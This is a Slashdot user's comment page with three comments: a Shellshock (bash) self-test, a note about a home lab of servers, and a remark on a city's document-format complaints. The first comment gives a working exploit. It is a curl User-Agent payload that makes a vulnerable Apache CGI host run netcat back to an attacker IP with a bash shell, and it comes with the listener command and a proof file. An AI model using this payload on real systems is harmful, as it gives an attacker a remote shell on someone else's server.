Forgot your password?
typodupeerror

Comment Here's a fun little test... (Score 3, Informative) 318

Here's a fun little test. This is assuming both the attacker and target have netcat installed. On a machine with the vulnerable bash and apache-cgi (behind a firewall for god's sake!) drop a file in your cgi-bin directory:

#!/bin/bash
 
echo Content-type: text/plain
echo ""
 
pwd

You should be able to go to

http://www.your-server.com/cgi-bin/test.cgi

and get a listing of apache's cgi directory.

Now, from your attack machine run "nc -l -p 1234", and then (in another terminal) run "curl -A "() { :;}; /bin/nc attack.machine.ip.address 1234 -c /bin/bash". You now have a shell via netcat.

(from attacking machine netcat)

touch /tmp/pwnt

(on target)

ls -al /tmp/pwnt

$-rw-r--r-- 1 www-data www-data 0 Sep 25 15:53 /tmp/pwnt

Comment Down to two servers... (Score 1) 287

I used to run a whole pile of servers, from DEC alphas to various Ultrasparcs to Linux servers.... now I'm down to a single ZFS-on-linux SAN server and a Supermicro chassis that has two dual-quad motherboards with 32GB of RAM each running a pair of Xen hypervisors. In my home lab I can fire up VMs left and right to test whatever I need to before I bring it to a client and play with my own projects at the same time. The important stuff I have runs in a datacenter but it's been great having such a flexible home lab. The only downside is the Supermicro is LOUD due to all of it's tiny little high-speed fans so I've had to baffle it with various home-made contraptions to keep it from sounding like a jet.

Comment Document formats... (Score 5, Insightful) 579

As far as I can tell from that horrible translation the only real complaints from users are about document interoperability problems and a unified messaging platform. Document format problems were going to be a given as MS will NEVER allow their software to default to an open standard (gotta sell dem Office seats); the best you can do is tell everyone who is going to be dealing with your city to send your documents in universal standard. As far a unified messaging platform goes, somebody screwed up if they couldn't get a fleet of smartphones to talk to a standard email server. Integrating with an open caldav/cardav server is tougher, but not impossible. They've already dropped a lot of cash on this transition and if those are the only two real complaints it seems more likely that the politicos are banking on a pile of $$ concessions from MS.

Slashdot Top Deals

A computer lets you make more mistakes faster than any other invention, with the possible exceptions of handguns and Tequilla. -- Mitch Ratcliffe

Working...